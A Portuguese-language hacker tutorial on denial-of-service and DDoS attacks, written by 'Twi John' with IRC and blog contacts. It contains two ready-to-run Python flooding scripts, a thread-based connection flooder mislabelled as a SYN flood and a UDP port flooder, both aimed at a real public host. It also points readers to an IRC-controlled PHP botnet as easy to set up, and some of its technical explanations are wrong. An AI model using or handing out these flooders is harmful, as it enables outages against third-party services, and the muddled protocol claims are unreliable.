_____ _____ _ _____ _____ _____
| __ \ / ____| | | | __ \| __ \ / ____|
| | | | ___ | (___ __ _ _ __ __| | | | | | | | | ___ | (___
| | | |/ _ \ \___ \ / _` | '_ \ / _` | | | | | | | |/ _ \ \___ \
| |__| | (_) |____) | | (_| | | | | (_| | | |__| | |__| | (_) |____) |
|_____/ \___/|_____/ \__,_|_| |_|\__,_| |_____/|_____/ \___/|_____/
---------------------
Author : Twi John
---------------------
// -----> Introdução <----- \\
Olá sou Twi John, nesse paper será falado sobre DOS e DDOS, falarei sobre tecnicas e mostrarei exemplos de tools para isso.
Tento explicar o funcionamento de cada um, para saber mais, entre em contato no IRC.
Quero falar que estou em uma "campanha" anti-ripper.. rsrs
"Se quizer participar bem, se num quizer amem! ou da o desce"
By Bispo Pedir MaisCedo
irc.irchighway.net #Satanic_Bank
twijohn.blogspot.com
twijohn.hdfree.com.br
www.zona09.com
// -----> Definições <----- \\
Primeiro de tudo é necessario saber o que é para começar a saber o resto.
* Denial of Service ou DOS == (Negação de Serviço), isso acontece quando o serviço não pode responder a requisições, ou seja quando você conectar vai dar erro.
* Distributed Denial of Service ou DDOS == (Negação de Serviço Distribuido), ocorre da mesma maneira, no entando ao invez de um computador tentar causar DOS, varios computadores fazem isso, pode ocorrer de ser milhares de computadores.
// -----> DOS <----- \\
Pode ser causado por varias maneiras, estarei mostrando algumas maneiras de fazer isso.
* SYN FLOOD - SYN seria um tipo de pacote usado no TCP para se comunicar, ele funciona para pedir a conexão, por exemplo você se conecta ao servidor, você envia um pacote SYN e o servidor te envia a resposta para comunicar que chegou o pacote, enviando um pacote SYN-ACK e você recebendo isso responde novamente dizendo que recebeu esse pacote com um pacote ACK.
Agora se você enviar muitas requisições SYN para o servidor mais do que ele aguenta, ele não conseguirá responder sobrecarrendo-o e causando DOS.
#--------INICIO---------#
#!/usr/bin/python
#
# SYN Flooder
# Coded By Twi Johnj
import socket
from time import sleep
from thread import start_new_thread
from sys import exit
host = "www.google.com.br"
port = 80
def conn(a):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
sleep(10000)
s.close()
thread.exit()
number = 0
while(1):
try:
start_new_thread(conn,(None, ))
sleep(0.1)
number = number + 1
print "Attack %s" % str(number)
except socket.error:
print ("System Timeout")
exit(1)
#--------FIM---------#
* UDP Flood - Consiste em enviar diversos pacotes ICMP para o protocolo UDP, para isso pode-se usar IP Spoofing, ele envia diversos pacotes com endereços de IP falsos para varias portas UDP. O servidor irá responder para os IPs falsos, o computador que esta enviando os pacotes não receberá os pacotes, continuando com o mesmo ritimo. Além de spoofing você, se você tiver uma conexão maior do que o servidor, pode enviar os pacotes sem o Spoofing que com certeza causará DOS( isso pode ser feito nas outras tecnicas também ).
#--------INICIO---------#
#!/usr/bin/python
#
# UDP Flooder
# Coded By Twi Johnj
import socket
from sys import exit
host = "www.google.com.br"
buff = "LALALALALA666" * 1000
for ip in range(0,10000):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect((host, ip))
s.send(buff)
s.close()
print "UDP Flooded port: %s" % ip
except socket.error:
s.close()
print ("System Timeout")
exit(1)
#--------FIM---------#
* TCP Flood - Ocorre como o UDP no entanto, o ataque é concentrado em uma unica porta, já que não há como conectar porque há o sistema de (three-way handshake).
Por ser o protocolo mais usado. Muitas é usado a exploração de falhas no servidor que causam DOS, isso acontece não por problemas na conexão mais sim no sistema que o servidor esta usando.
Um exemplo é um exploit em HTTP, que é usado em paginas de internet, se você causar DOS no Apache por exemplo, ele irá para de responder na porta 80 (HTTP), fazendo com que o site não funcione ate reeniciar o apache.
// Raw Socket - Você define o cabeçalho sendo TCP ou UDP, sendo assim você pode manipular os pacotes que irão enviar.
// -----> DDOS <----- \\
DDOS como já visto é um ataque usando varios computadores que são chamados de Botnet's, são manipulados remotamente por outro computador, fazendo com que todos os computadores façam o ataque junto.
* Botnet's geralmente, são controlados por IRC por ser facil de ser codado e dificilmente descoberto. Podem ser em diversas linguagens, existem os em linguagem web que infectam servidores da web, e também existem os que infectam computadores pessoais e redes que são os feitos em linguagens como C, perl, python. Você pode encontrar alguns botnet's na internet que é no caso o pbot feito em php, muito simples de configurar.